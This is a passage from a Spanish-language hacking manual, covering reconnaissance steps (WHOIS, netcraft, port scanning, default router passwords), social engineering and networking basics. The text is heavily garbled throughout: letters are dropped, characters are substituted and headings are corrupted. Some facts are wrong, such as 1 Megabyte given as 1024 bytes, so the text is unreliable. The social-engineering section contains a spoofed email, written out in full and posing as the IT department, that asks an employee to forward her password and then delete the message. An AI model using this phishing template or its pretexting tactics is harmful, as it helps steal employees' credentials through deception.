reazado y ayuda a dentfcar os puntos dbes por os que hay que empezar a reazar as pruebas.
Muchas veces podemos tener acceso a nformacn pbca sobre una empresa cuaquera, pero no
conocemos os mtodos para consegura. La base de datos NIC (Network Informaton Center), donde
se amacenan os datos de as personas o empresas que han comprado un domno de tpo .com, .mx,
.net, etc, es un buen punto por donde arrancar. Con esta base de datos NIC podremos encontrar
nombre de os responsabes, tanto tcncos como admnstratvos, nmeros de tefono, correos,
dreccones fscas. Esta dreccn est ah para gestonar a compra de domnos. Los datos son
pbcos y pueden ser consutados por cuaquer persona. Es anogo a a Seccn Amara de a gua
teefnca, pero referda a os domnos en Internet.
9 Warez Esta palabra se aplica en dos sentidos: uno como la copias piratas de los programas; el otro alude a las versiones de software
protegido a las que se ha retirado fraudulentamente la proteccin. Es plural en jerga de ware (Mercancas).
39
Con este tpo de consutas se pueden evtar estafas como as de Banamexnet, hacendo una
comprobacn para saber s un domno sospechoso pertenece reamente a a entdad que parece
representar. A consutar un domno, a nformacn vene dvdda en cuatro seccones:
Em&resa: Lo ms reevante resuta a dreccn fsca de a empresa, e contacto tcnco y os
servdores de nombres. Esto tmo resuta especamente atractvo para e hacker.
ontacto administrativo: Nombre, correo eectrnco, tefono y fax.
ontacto t(cnico: Este dato tambn se presenta nteresante en caso de ser necesaro avsar sobre
agn error de segurdad en su pgna. Aqu se puede consutar su correo eectrnco, nombre,
tefono, etc.
ontacto de 7acturaci'n: Iguamente se consutan correo eectrnco, nombre, tefono, etc.
Para empresas nternaconaes cuyo domno termne en .com o .net, podemos echar mano de
servco whos
10
de nc.com (http://www.nc.com/nc_nfo/whos.htm), donde a nformacn
proporconada vene a ser a msma.
Sern muchas as ocasones en que e buen uso de un buscador nos puede ahorrar mucho tempo de
nvestgacn.
Imagnmonos que a partr de nc.es averguamos e ema de admnstrador o e responsbe tcnco
de a empresa. O, me|or an, medante un ataque de ngenera soca averguamos su dreccn
persona de hotma o cuaquer otro servdor de correo web. Introducmos su ema en e navegador y
nos eva a varas pgnas ms o menos nteresantes. En una de eas egamos a descubrr que hace
tan soo unos meses, estamp su dreccn rea en una sta de correo especazada sobre
herramentas pdendo asesora y presupuestos sobre actuazacones de routers.
Muchos admnstradores de sstemas se enfrentan cas a daro con nuevo software y tenen que
pedr ayuda a especastas en nternet en busca de conse|o y compartr experencas propas. Esto no
es raro y resuta ncuso frecuente. Lo que a muchos se es pasa, y en esto entra a gnoranca, es
que hay que hacero de manera annma. Esta es una de as maneras ms mpas y bre de
moestas con as que os hackers encuentran nformacn sn tener que sumergrse en manuaes o
hacer pruebas en decenas de programas, adems, en casos as o parecdos, ya tenemos a certeza de
que e router es o ha sdo vunerabe y que puede exstr reamente una forma de atacar. Un router
(encamnador, drecconador, enrutador) es un dspostvo que dstrbuye trfco entre redes. La
decsn sobre a donde envar os datos se reaza en base a nformacn de nve de red y tabas de
drecconamento.
845 Escaneo de Puertos
Nos centraremos en e aspecto prctco en e captuo sobre escaneadores de puertos (pgna 91).
Gracas a dstntas tcncas sabremos os puertos que e servdor mantene abertos ofrecendo
servcos a travs de eos. Cuantos ms puertos se encuentren abertos, ms servcos ofrece y ms
posbdades de que aguno sea vunerabe. Este paso resuta mprescndbe y de gran mportanca.
Hay que advertr: Un escaneo de puertos ndscrmnado haca una mquna que no nos pertenezca
consttuye un deto.
K45 Edenti7icaci'n de 0ervicios
La funcn de un puerto es tener enazado un servco o programa que escuche en y por e que se
reacen as conexones necesaras. En este paso se descubre qu programa hace uso de cada puerto,
anotando en concenca su versn.
10Quin es. Programa Internet, poco utilizado tras la aparicin del WWW y de los motores de bsqueda, que permite a los usuarios hacer
bsquedas en una base de datos sobre personas y otras entidades, tales como dominios, redes y sistemas centrales, que fueron al inicio
mantenidos en DDN NIC. La informacin sobre personas muestra el nombre, la direccin, numero de telfono y direccin electrnica, etc.
40
L45 Edenti7icaci'n del 0istema
Aunque se puede deducr a partr de a dentfcacn de servcos (exsten servcos vdos
ncamente para Wndows o Unx) se requerr comprobar en que pataforma y sstema operatvo
esta traba|ando e servdor, pues os datos que ofrecen os servcos pueden estar faseados.
Podemos empezar usando a herramenta web netcraft.com, que cuenta con varos servcos. Uno de
eos nos ndca e Sstema Operatvo y a versn de servdor web, as como os datos de proveedor
de Internet donde est ao|ado. Esto esta muy ben por a nformacn que puede darnos.
En esta pgna hay un servco amado "What s ths ste runnng" que nforma qu software esta
usando para su servco web. A ntroducr aguna dreccn web aparecer ago como esto:
The site www.xxxxx.com is running Apache/1.3.27 (unix) mod_bwprotect/0.2
Mod_log_bytes/1.2 mod_bwlimted/1.0 PHP/4.3.1 frontpage/5.0.2.2510
Mod _ssl/2.8.12 OpenSSL/.09.6b on Linux
En e apartado ms aba|o, amado Netbock owner nos eva a un nk en e que podemos conocer
otros stes ao|ados en e msmo proveedor de cauda de Internet, y propetaro de boque de
dreccones IP. Incuso podremos conocer e ugar geogrfco donde se encuentra esa computadora.
Es posbe que netcraft.com soo muestre un escueto:
The site www.xxxxx.com is running Apache on Linux
Lo que nos ndca que e admnstrador ha hecho que a nformacn sobre as versones que usa no
estn dsponbes pbcamente.
Otro servco de netcraft es a bsqueda por nombre de domno. A veces, s buscamos una pgna
sobre segurdad, por e|empo, en un buscador como Googe, nos evar a mes de ugares dstntos y
no sabremos por donde empezar. A menudo nos trae pgnas que nada tenen que ver con a
segurdad, pero que en su texto aparece esa paabra. Buscando por domno, estaremos buscando
entre todas as dreccones que contenen a paabra "segurdad" en su nombre de domno:
segurdadempresara.org, todoensegurdad.com, etc. Netcraft tambn ao|a as estadstcas de uso
de servdores web. En Internet exsten bscamente dos programas para servr pgnas web: IIS (de
pago y de Mcrosoft), Apache (e ms usado, gratuto y o hay para Lnux y Wndows).
M45 Descubrir 1ulnerabilidades ) 1eri7icaci'n
Ya que tenemos as versones de os dstntos sstemas y programas, as como a versn de Sstema
operatvo, es momento de buscar vunerabdades conocdas que afecten a esas versones (en
especfco) de as apcacones. Exsten stados en a Red que se mantenen a da con as
vunerabdades y expcan en detae e probema y como souconaro. Por e|empo: securtytracker,
en su stado refe|a as debdades de sstemas operatvos, programas, routers, etc
N45 1eri7icaci'n de A&licaciones
No soo as apcacones en s pueden ser vunerabes o no. Ouz se puedan estar usando versones
parchadas
11
a as que no afecte nnguna de as vunerabdades conocdas hasta e momento. Pero
an as, puede que sgan sendo vunerabes por a manera en que estn dspuestas o confguradas.
Un programa en e drectoro ncorrecto dentro de un servdor web, os permsos no adecuados
apcados a un usuaro, todo esto puede dervar en grandes probemas de segurdad que podemos
aprovechar, ndependentemente de que su software se encuentre actuazado.
11 Los bugs (errores de programacin) y ciertas vulnerabilidades severas pueden a veces solucionarse con un software especial,
denominado Patch (Parche), que evita el problema o alivia de algn modo sus efectos.
41
O45 om&robaci'n del Bouter =Buteador>
E router (ruteador) es un servdor de red que mra as dreccones de a red en os paquetes que
recbe antes de decdr s os pasa ms adeante. Un router toma decsones ms ntegentes que un
puente sobre os datos que pasa adeante. Un puente so decde s pasa o no un paquete, pero un
router puede escoger e me|or camno a o argo de a red para que e paquete acance su dreccn
de destno. En e contexto TCP/IP, un ruteador es una entrada, una computadora con dos o ms
adaptadores de red que est e|ecutando agn tpo de software de ruteo IP. Cada adaptador se
conecta a una red fsca dferente.
Adems de drgr e trfco, a router se e puede deegar a funcn de mapear puertos. En e
software que o compone, se han haado vunerabdades en varas ocasones que permtan e
acceso a a computadora que o usaba para sar a Internet. Uno de os probemas ms sencos de
expotar eran as contraseas por defecto de os routers que a teefnca proporcona a sus centes.
S dabas con uno en Internet, tan soo requeras tecear admnttd como username y password para
reconfgurar e acceso a Internet de a vctma.
P45 otejo de los 0istemas on7iables
Aqu se comprueba a segurdad desde e nteror de a red haca os servdores. Srve para comprobar
e nve de acceso a datos confdencaes que puede obtener un usuaro no prvegado de a red y
hasta qu punto puede comprometer un sstema. Para este punto, se necesta tener acceso drecto a
a red y ponerse en e pape de un usuaro con certos derechos.
Q45 1eri7icaci'n de !ireGalls =orta7uegos>
Los Frewas protegen os puertos y decden qun y cmo debe conectarse a os servcos que ofrece
e servdor. Despus habaremos sobre os puertos.
3R45 Bevisi'n de los 0istemas de Detecci'n de Entrusos =ED0>
Otra de as herramentas bscas cuando se trata a segurdad en a red. Un IDS es un programa con
uteras que vgan a red en busca de certos patrones reconocbes de ataques y se es puede
defnr e anzamento de apcacones o dstntas accones a respecto.
3345 om&robaci'n de las <edidas de ontenci'n
Es obgatoro saber cmo admnstrar de manera ptma os recursos dsponbes y conocer qun
tene acceso a qu tpos de sstemas y adems, estar preparados para cuaquer desastre. Hay que
mantener un sstema de respados de segurdad y recuperacn de datos en caso de accdentes.
3845 ontraseSas
Despus de todos os pasos anterores, s se han expotado con xto y se ha obtendo agn dato, o
dea sera haber obtendo agn archvo de contraseas, que, s estn cfradas, es necesaro
descfrar. S tambn se obtene ese dato, podras abrr todas as puertas de sstema. Ms adeante
habaremos de os rompedores de contraseas y acerca de as contraseas ensombrecdas.
3K45 Endagaci'n de Denegaci'n de 0ervicio
La Denegacn de Servco (DoS) y Denegacn de Servco Dstrbuda (DDoS) conssten en reazar
petcones a servdor hasta saturar sus recursos. Un e|empo de DDoS es un ataque a una pgna
web. Un e|empo de DoS es nundar e correo de una persona con un mn de e-mas. Ms adeante
en este documento habaremos de este tpo de ataques.
Nota de Advertencia
Es necesaro competar todos os pasos para poder sentrse seguro. Haber encontrado un camno
aterno para entrar en e sstema no sgnfca que sea e nco.
42
La Ingenera Soca
La ngenera soca (Soca Engneerng) se ha convertdo, hoy por hoy, en una de as prncpaes
armas de os hackers. Es a forma en que se puede consegur nformacn sn usar una computadora.
Debemos tener en mente que a nformacn no es ms que una herramenta que otorga a
posbdad de ser usada y manpuada en benefco de quen a posee. Se puede ver a un sstema
nformtco como un cmuo de nformacn que ah est, pero espera ser deveada. E ob|etvo de
hacker es conocer que exste agn tpo de nformacn y haar e modo de consegura sn voentar
sstemas.
No exste nngn tpo de nformacn que sea totamente nt para un hacker. Un hacker sempre
sabe que es bueno conocer ago, captar y amacenar uno o dos datos, porque nunca sabemos cuando
vamos a necestar retrotraer a nformacn que se recbe o adquere. Nunca hay que de|ara en a
memora propa, smpemente porque que es muy vot y a nformacn puede perderse para
sempre, a menos que uno tenga memora fotogrfca. Exsten datos que requeren ser anotados en
pape, ncuso una serveta puede ser t de vez en cuando, o pasaros a un medo extrabe como
una dskette o memora fash.
A dferenca de o que a mayora de as personas creen, un sstema nformtco no soo se compone
de hardware (e equpo fsco) y software (os programas). Las mqunas no funconan soas y sempre
exsten personas de carne y hueso detrs de eas y de cada sstema. Hasta e momento no se conoce
una mquna que para ponerse en funconamento se acerque ea msma a a fuente de poder y se
enchufe soa. E persona de departamento de sstemas computaconaes de cuaquer empresa
tambn forma parte ntegra de sstema nformtco, a gua que a computadora y os programas
que en ea resden. Es de saberse que as personas vvas son as que tenen ms vunerabdades
que os fros sstemas de proceso. Muchos grandes ataques se han generado a partr de enfoque a
persona.
Debemos recordar que se puede atacar a software y se puede atacar a persona. Cuando habamos
de atacar a software nos refermos smpemente a enfocar nuestra atencn en e Sstema Operatvo
o en os programas de usuaro. Hay mucha varedad en e ataque contra e software, exsten
vunerabdades que pueden ser expotadas en nuestro benefco, pero tambn hay que conocer
como detectaras y prevenras, porque esto ega a ser un probema de segurdad mportante.
A habar de atacar a persona nos refermos a o que se ha dado a amar Ingenera Soca. Esta
tcnca consste bscamente en mantener un trato soca con as personas que custodan os datos.
Es smpemente atacar a quen posee a nformacn.
La ngenera soca ndaga en as costumbres de as personas, en conoceras ms profundamente
para perpetrar posterormente un ataque ms eaborado, con a cadad de un corte de bstur. Esta
actvdad ncuye desde a supantacn de dentdades confabes hasta a bsqueda en botes de
basura de a nformacn reevante y, con toda probabdad, es e tpo de ataques de que menos se
haba, pues no exste un manua prctco, depende mucho de as crcunstancas, de Know-how de
atacante y sus habdades, de os conocmentos que pueda poseer a vctma, etc. Ben mane|ada, a
ngenera soca es uno de os mtodos ms efectvos de recoeccn de nformacn. No hay duda de
eso.
Atacando al Personal
La ngenera soca ha permtdo as mayores estafas en a red. No soo basta con poseer os mayores
conocmentos tcncos. En ocasones, una amada teefnca fngendo ser un tcnco o una oportuna
vsta a a empresa, puede reportar mucha ms nformacn que e ms profundo estudo de
vunerabdades tcncas.
43
Las personas sempre son a me|or fuente de nformacn a a hora de revear datos que no deben. Y
no es porque esa gente peque de estpda o que sean muy ngenuas, sno que es condcn natura
de muchas personas a socabdad, as ganas de ayudar a pr|mo y sentrse tes. En muchas
ocasones, a nformacn se resbaa por error y e hacker sempre estar preparado para recbr
cuaquer pequeo dato y guardaro. Sobra decr que esto e puede |ugar una maa pasada a os
empeados que mane|an a nformacn sensbe s se egan a topar con aguen que tenga a
capacdad de aprovecharse de ea, hasta pueden perder su empeo. Lamentabemente, tras sufrr
una experenca de este tpo, as personas se vueven desconfadas. Esta es a acttud adecuada
sempre. Cuando se mane|an muchos datos crtcos hay que voverse un poco paranoco.
La desconfanza es e prncpo de a segurdad tanto en a vda rea como en a vrtua. Aunque os
humanos soemos ser nherentemente buenos, e sentdo comn ndca que hay que poner certos
mtes, pero desde uego, no hay que ba|ar a guarda. Esta es a razn por a que nade sae de su
casa sn haber echado ave a a puerta.
Un hacker tene que ser tambn un buen pscogo, entender e comportamento humano, prever as
reaccones y antcparse a os acontecmentos. Debe ser capaz de r ms a de o que ndca un
smpe gesto o o que reamente quere decr una frase.
Para atacar a persona se pueden usar tcncas agresvas. S sabemos su correo eectrnco, se
puede fasear e propo y escrbres un correo parecdo a este:
From: administrador@empresavictima.com
To: isabeltontamevi@empresavictima.com
Saludos Isa, soy Mefrunzo del Hoyo, de aqu de Sistemas. Me parece que alguien
nos ha estado espiando. El programa detector de espas se activ y aunque no se
menciona nada en el reporte, pues no me fo. Voy a cambiar todas las contraseas
del personal y necesito las antiguas para colocar las nuevas. Por favor envame tu
contrasea a esta direccin de correo (slo dale un Forward.) A vuelta de correo
te enviar una nueva para que puedas memorizarla. Despus de que lo hagas, haz
favor de eliminar este correo inmediatamente para mayor seguridad.
Gracias.
Personas con mayor don de gentes pueden ograr mayor nformacn, varando as preguntas,
stuacones, etc. Por supuesto, esto puede tambn ser nfructuoso y no obtener n un pce de
nformacn. Ah est e resgo y a prueba. Sn embargo, segn estadstcas, resuta sorprendente o
mucho que se usa esta tcnca, e porcenta|e de xto de que goza y os resutados que arro|a.
Hay que tener certos aspectos en mente. A as personas es gusta ayudar, pero sn sentrse
agobadas n atacadas, sempre hay que saber donde est e mte. Es ben sabdo que a gente se
sente ms atrada por personas que parecen "desvadas". Frases como "Hoa, soy nuevo", "soy
estudante y necesto certa nformacn" predsponen a a potenca vctma a factar nformacn. En
resumen, soo hay que saber donde, cundo y como apcar a tcnca.
Como parte de a tcnca puede estar e r personamente a a ofcna y comprobar como traba|an,
echando una o|eada a as pantaas mentras te paseas por as nstaacones. Esto me|ora cuando a
empresa a a que vstas es de as grandes, donde e persona cas no se conoce.
Hay veces que en una amada teefnca no se obtenen os datos buscados. Como en una compaa
grande no sempre contesta a msma persona, a recoeccn se hara en varas amadas y anotando
en pape cada pedacto de nformacn vta. A sta tcnca se e conoce como "pcotear e maz". A
fna soo se requere unr todos os pedazos para aprecar e cuadro fna. Esto es o que sucede a
menudo con compaas como Amerca Onne (AOL).
44
Lo Ms Bsco Sobre Redes
La Internet no es ms que una ggantezca red de computadoras y sstemas comuncndose entre s.
Es por eso que para aprender a mane|ar e Internet desde sus entraas hay que conocer como
mane|ar sus entres|os.
Las Bedes
Las redes son e con|unto de tcncas, conexones fscas y programas nformtcos que son utzados
para conectar dos o ms computadoras. La conexn puede ser por cabes o nambrca. Los
usuaros de una red, por e|empo oca, pueden compartr archvos, mpresoras y otros recursos
varados. Envar mensa|es eectrncos y e|ecutar programas en otras computadoras son unas de as
tareas que ms se efectan en una red. La gran mayora de as empresas poseen una red oca que
puede varar su tamao.
Una red tene tres nvees de componentes: e software de apcacones, e software de red y e
hardware de red. E software de apcacones est formado por programas nformtcos que se
comuncan con os usuaros de a red y permten compartr nformacn (como archvos, grfcos o
vdeos) y recursos (como mpresoras o undades de dsco.) Un tpo de software de apcacones se
denomna cente-servdor
12
.
Las computadoras cente envan petcones de nformacn o de uso de recursos a otras
computadoras amadas servdores, que controan datos y apcacones. Otro tpo de software de
apcacn se conoce como "de gua a gua" (peer to peer o como se conoce hoy en da P2P.) En una
red de este tpo, as computadoras se envan entre s mensa|es y petcones drectamente sn utzar
un servdor como ntermedaro.
,ardGare de Bed
En o que respecta a hardware de red tenemos, como ya se expc antes, as computadoras, as
termnaes, routers (enrutadores), etc. Exsten dos dmensones para usarse como casfcacn y que
sobresaen por su mportanca: a tecnooga de transmsn y a escaa.
Tecnolog;a de transmisi'n: Hay dos tpos de tecnooga de transmsn: as redes de dfusn y
redes punto a punto. Las prmeras poseen un soo cana de comuncacn que es compartdo por as
dems mqunas en a red. Los mensa|es cortos (amados paquetes) que enva una mquna son
recbdos por todas as dems. Un campo de dreccn dentro de paquete ndca a quen va drgdo.
Una mquna que recbe e mensa|e verfca a dreccn a ver s est drgdo a ea. S es as, pues o
procesa, s est drgdo a otra mquna, entonces o gnora.
12Las palabras Cliente y Servidor se van a usar en este documento muy frecuentemente, as que hay que familiarizarse con ambas.
45
Los sstemas de dfusn pueden permtr que por medo de un codgo especa en e paquete, un
mensa|e sea envado a todos os destnos y sea aceptado y procesado por todas as mqunas. A este
modo de operar se e conoce como broadcastng (dfusn).
En contraste, as redes punto a punto conssten en muchas conexones entre pares ndvduaes de
mqunas. Para r de un orgen a un destno, un paquete quz deba vstar de una a varas mqunas
ntermedas. Como rega genera (aunque exsten muchas excepcones), as redes pequeas se
mane|an por dfusn, mentras que as redes ms grandes sueen ser punto a punto.
Escala: Un crtero para casfcar as redes es por su escaa. Dependendo de tamao de a red
recbe un nombre genrco. Puede haber redes que quepan en un soo cuarto, en un edfco o en una
zona mucho ms ampa. Debdo a esto, as redes se pueden dvdr en redes ocaes (LAN, Loca Area
Network -Redes de Area Loca), redes metropotanas (MAN, Metropotan Area Network) y redes de
rea ampa (WAN, Wde Area Network).
LAN
Red de datos para dar servco a un rea geogrfca mxma de unos pocos kmetros cuadrados, por
o cua pueden optmzarse os protocoos de sea de a red para egar a veocdades de transmsn
de Gbps (Ggabts por segundo). Son redes de propedad prvada dentro de un campus o un edfco.
Incusve en un cuarto donde exstan dos computadoras conectadas una con a otra, habamos de una
red LAN.
<AN
O Red de Area Metropotana, son as que cubren un rea mayor que as LAN y menor que as WAN.
Las redes de este tpo funconan de manera smar a as LAN y as dferenca smpemente e tamao.
Pueden ser pbcas o prvadas y abarcar desde un grupo de ofcnas en edfcos separados hasta una
cudad competa. Una MAN puede mane|ar e uso de voz y datos por o que se es reacona a veces
con as redes de teevsn por cabe oca. No exsten en as MAN conmutadores (que desvan os
paquetes de datos a travs de una o varas neas de sadas potencaes) por o que su dseo se
smpfca.
.AN
Son as redes de computadoras conectadas entre s en un rea geogrfca reatvamente extensa.
Este tpo de redes sueen ser pbcas, es decr, compartdas por muchos usuaros. Pueden abarcar
desde dos cudades hasta un contnente. Contene una coeccn de mqunas amadas hosts que
e|ecutan programas de usuaro.
En cas todas as WAN, a red posee numerosos cabes o neas teefncas conectadas a un par de
enrutadores (routers). S dos routers deben estabecer comuncacn pero no estn conectados por
medo de un cabe, entonces debern hacero por medo de otros routers. Cuando se enva un
paquete de un router a otro a travs de uno o ms enrutadores ntermedos, e paquete se recbe
competo en cada router ntermedo, se amacena hasta que a nea de sada requerda est bre, y a
contnuacn se reenva. Una subred basada en este prncpo se conoce como de &unto a &unto (o
tambn, como de paquete conmutado).
Una segunda posbdad para una WAN es un sstema de satte o de rado en terra. Cada router
tene una antena por medo de a cua enva o recbe datos. Todos os routers pueden or as sadas
envadas desde e satte y en agunos casos pueden or tambn as transmsones de otros routers
hacia e satte.
Por su naturaeza, as redes de satte son de dfusn y son ms tes cuando a propedad de
dfusn es mportante.
46
Bedes Enal6mbricas
Puesto que tener una conexn por cabe es mposbe s se va en carro, tren o avn se hace uso de
redes nambrcas. Este tpo de red tene gran utdad para uso de fotas de taxs, en a mca y
transportstas. Incuso en casas exsten redes nambrcas dado e reatvo ba|o costo.
Los ,osts
Host o Host System, tambn conocdo como sstema anftrn o sstema prncpa, es una
computadora que, medante e empeo de os protocoos TCP/IP, permte a os usuaros comuncarse
con otros sstemas anftrones de una red. A os hosts tambn se es conoce como sistema terminal
(End System). Los hosts estn conectados por una subred de comuncacn cuyo traba|o es conducr
os mensa|es de un host a otro. Los usuaros se comuncan utzando programas de apcacn, taes
como e correo eectrnco, Tenet, WWW y FTP. La acepcn verba (To host - hospedar) descrbe e
hecho de amacenar agn tpo de nformacn en un servdor a|eno.
To&olog;a
Las redes se casfcan en categoras generaes de acuerdo con su forma. Habando de redes ocaes,
a topooga se refere a a manera de conectar as computadoras o sstemas. Puede ser en forma de
estrella, s en a red se dspone de un hub o concentrador (en una red, es a computadora centra) o
sGitc+ (conmutador), o todos os sstemas conectados a a msma nea de comuncacn s es a
travs de cabe coaxa.
Las topoogas prmaras utzadas son de estrea, ano, rbo, competa, nterseccn de anos y
de forma rreguar. Como todo en a vda, cada topooga tene sus venta|as y desventa|as.
Aqu nos enfocaremos ms que nada en as redes ocaes, con hosts conectados entre s medante
cuaquera de as topoogas.
<odo de onexi'n
Aunque mucha gente sgue usando e mdem para conectarse a Internet, sn duda a conexn
ptma es e ADSL o Asymmetrca Dgta Subscrber Lne (Lnea de Subscrpcn Asmtrca Dgta).
Pronto, os mdem sern hstora. ADSL es una tecnooga de transmsn de tpo xDSL, que permte a
os hos teefncos de cobre convenconaes una ata veocdad de transmsn. Permte a
transmsn de datos y voz. Se denomna asmtrca porque permte ms veocdad en a recepcn de
datos por parte de usuaro que en a emsn de datos por ste.
47
La ADSL se aprovecha de que e cabe de tefono se puede usar por encma de os 3400 Hz (o veces
por segundo), que es o que necesta a transmsn de voz. Para hacer esta dvsn de rangos y dare
a a voz o que requere para despus usar e resto para transmtr datos, necestas e Sptter tanto en
casa como en a centra teefnca.
Esta forma de repartr a frecuenca, dvdendo una parte para voz y otra para datos, hace posbe
que a estar en Internet e tefono no se boquee. Lo de asmtrca vene de que no se consgue a
msma veocdad a a hora de envar o de recbr datos.
ADSL es una tecnooga que depende de a dstanca, no as a voz. Esto se debe a que a compaa de
tefonos utza mpementos para ampfcar a voz que son ncompatbes con ADSL. Es por eso que
a mayor dstanca, menor a veocdad a a hora de recbr y envar datos.
Las veocdades de ADSL que se mane|an en Mxco sueen ser 256 Kobts de ba|ada (recepcn de
datos, como cuando uno ba|a un programa o una cancn en MP3) y 128 Kobts de subda (envo de
datos, como cuando se sube un vdeo a a pgna de YouTube), es por esta razn que tardamos ms
en subr un archvo de msmo tamao en Kb a a red que descargaro de ea.
En una gran conexn nca a Internet, soo se puede garantzar un 10% de cauda de nformacn, e
resto debe reparte entre otros abonados.
@its
Los bts por segundo (bps) son usados para defnr a veocdad de transmsn entre dspostvos en
vrtud de que muestran de manera ms cara a cantdad de "pusos" o bts que as neas son
capaces de envar por segundo. Un bt puede ser 1 0 y puede defnrse como a undad bsca de
nformacn representada por ceros y unos que se van sucedendo para conformar os dstntos
sgnfcados.
No debemos confundr os trmnos Megabts y Megabytes.
1 Megabt = un mn de bts;
1 Megabyte= 1024 bytes (8192 bts)
Debe recordarse que 1 byte es gua a 8 bts.
Transmisi'n De Datos A Trav(s De Dna Bed
Lo ms senco para entender esto es magnarse como es que funcona e servco de correos fsco
que exste en todo pas - y que hoy en da conocemos en forma despectva como 3ail 1nail (Correo
Caraco en ngs).
Cuando aguen quere envar una carta, debemos prmero ntroducra en un sobre. E sobre tene un
formato determnado, dado que exsten sobres pequeos, medanos y grandes. En e sobre
requermos escrbr a dreccn destno, a frente, y a dreccn orgen o remtente, en e reverso.
Como esta accn se ha vendo hacendo por tradcn durante muchsmos aos, se ha vueto un
pequeo protocoo. Sempre que aguen desee ver en donde se orgn a carta, sempre votear e
sobre para ver os datos de quen a envo. Hay que ponere una estampa que ser de dferente
costo y forma segn as especfcacones de dstanca. Se cooca a carta en e buzn. La carta es
recogda por e encargado de recoger os sobres de os buzones. Posterormente ser casfcada por
e persona de a ofcna de correos y envada segn os dstntos medos (tren, avn) a a cudad a
donde pertenece a dreccn destno. Una vez a, otro cartero se encarga de evara a a cudad, a a
zona posta, coona, cae y, por fn, a a casa ndcada por e nmero. S por aguna razn os datos
pertenecen a una dreccn que no exste, a carta vover a su orgen mas o menos de a msma
manera.
48
En esta anaoga, os datos escrtos en a carta son a nformacn que se desea transmtr, e sobre es
e paquete con e formato mpuesto por e protocoo de transmsn (TCP/IP, por e|empo), a dreccn
de remtente y destnataro sern as computadoras fscas, os medos de transporte son os medos
de transmsn (ya sea fbra ptca, cabe teefnco, cabe coaxa.) Fnamente, as normas de
servco de correo, carteros y dems persona son os protocoos de comuncacones estabecdos.
S se est usando e modeo OSI de a ISO, es como decr que a carta esta pasando por 7 ftros
dferentes (traba|adores con dstntos cargos de responsabdad) desde que a ponemos en e buzn
hasta que ega a su destno. Cada nve se encarga de reazar dstntas funcones en a nformacn,
aadndoe nformacn de contro (por e|empo un mataseos), que e msmo nve en e nodo
destno r emnando por haber cumpdo ya su funcn.
S a nformacn va drgda a una red dferente, a trama debe egar a un dspostvo de
nterconexn de redes (router, gateway
13
) que decdr e camno que debe segur para acanzar su
destno, de ah que sea mprescndbe que e paquete contenga a dreccn que dentfca tanto su
orgen como su destno.
Pa-uetes de Datos
Los paquetes de datos son tambn conocdos como datagramas. As es como conocemos a una
rfaga de nformacn. S se quere transmtr 100 Kb de nformacn, es mucho ms senco, dvdro
en con|untos de bts, cada uno con os datos necesaros para poder desenvoverse soo por a red,
esto es, dreccn de orgen, de destno, tpo de nformacn que contene, etc.
S e medo de transmsn es poco fabe, os paquetes de datos deben ser ms pequeos, para que
e resgo de perderse sea menor. S por e contraro, e medo de transmsn o permte por su
estabdad, os paquetes de datos pueden ser mayores. Lgcamente, a mayor veocdad de
transmsn, menor fabdad.
onsideraci'n 0ocial 0obre Bedes
Cuando se haba de transmtr o recbr datos en una red de computadoras, sempre exsten confctos
socaes, sobre todo en o que respecta a os derechos de os empeados y os de os patrones. Muchas
personas een y escrben correos eectrncos en su traba|o y agunos patrones han recamado e
derecho de poder eer y quz censurar os mensa|es de os empeados, ncusve os mensa|es
envados desde a casa msma de empeado despus de as horas de traba|o. Obvamente no todos
os empeados estn de acuerdo con esto. An s os patrones tenen poder sobre sus empeados,
porque aegan que e sstema en uso es de su propedad esta reacn tambn goberna a
unversdades y estudantes?
Las redes de computadoras ofrecen a posbdad de envar mensa|es de manera annma y en estas
stuacones, esta capacdad puede ser deseabe. En pocas paabras, as redes permten a as personas
comunes y correntes compartr sus puntos de vsta en dferentes formas, en dferentes enguas y a
dferentes pbcos que antes estaban fuera de su acance. Esta nueva bertad trae consgo muchos
probemas socaes, potcos y moraes an no resuetos.
Exsten personas que han demandado a os operadores de redes recamando que son responsabes
por e contendo que consderan ob|etabe. La respuesta nevtabe es que una red es anoga a una
compaa de tefonos o como a ofcna posta y no puede esperarse que os operadores vgen o
que os usuaros dcen o escrben. Por otro ado, s se obga a os operadores a censurar os mensa|es,
como se hace hoy en certos foros de dscusn, como Merstaton, donde no se permte habar de
potca y se emna cuaquer mensa|e que trate sobre este tema, muchos argumentarn que se est
voando e derecho a a bertad de expresn. Aunque os moderadores de foro menconan que a
censurar se evtan os cadeos de nmos y as guerra de fuego (fame wars), este debate durar
mucho ms tempo que e que tenemos de vda.
13(Pasarela) Punto de una red que acta como punto de entrada a otra red.
49
Fosofa Cente y Servdor
Internet es una gran red compuesta por mes de LANs (redes de rea oca) que se comuncan entre
s. De este modo, mentras unas haban, otras responden o se encuentran escuchando. La fosofa
Cente-Servdor es una arqutectura nformtca de uso comn en nternet y es a que se utza como
base de os programas de ntercambo de archvos como os hoy modernos eMue, Lmewre o Ares.
En este sstema, os centes acceden a os recursos envando petcones a servdor y este a su vez,
devueve una respuesta tras reazar un traba|o.
La comuncacn estabecda sempre consta de dos partes: petcn y respuesta, ambas accones
ncadas por e cente, |ams por e servdor, que es e eemento pasvo. Con frecuenca, os
programas cente son nvocados por e usuaro y se e|ecutan en a computadora de ste. Los
programas servdores se e|ecutan en grandes computadoras tpo servdor con compcados sstemas
operatvos. Muchas de estas computadoras son o bastante poderosas para operar a a vez varos
servdores de dferentes servcos.
La arqutectura cente-servdor es expotada muy hb y efcentemente por os nocvos troyanos,
que son programas compuestos en dos partes, una amada cente y otra que funcona como
servdor; pero eso o veremos en detae ms adeante en este documento.
En sus ncos, se requera que as personas traba|asen en red con as msmas apcacones. La
soucn que se apc fue tener una computadora potente y varas de poca potenca que
aprovechaban e servdor centra. A estas estacones de traba|o (workstatons) se es denomn
termnaes. Su nca funcn era conectarse, por e|empo, medante Tenet a una consoa remota y
traba|ar desde ah o e|ecutar desde ese ugar as apcacones que necestaban para hacer su traba|o.
En resmen, se estabece una comuncacn entre procesos requerdos por una mquna (cente) y
prestados por otras (servdor).
Con a arqutectura cente-servdor, todos os detaes de cmo traba|a e servdor se ocutan a
cente. E cente soo pde ago a servdor sn necestar saber cmo se ha producdo, o recoge y
procesa s es o que esperaba. E servdor soo debe preocuparse de servr os datos cuando e son
soctados.
Hay que hacer a acaracn que os admnstradores de sstemas, cuando gestonan as redes a su
cargo, evtan usar os trmnos cente y servdor. Para evtar confusones entre os programas de
apcacn amados por os usuaros y as apcacones reservadas a os admnstradores de red, en su
ugar, a apcacn cente de admnstrador de sstema es amada administrador y a que se
e|ecuta en un dspostvo de red se conoce como agente.
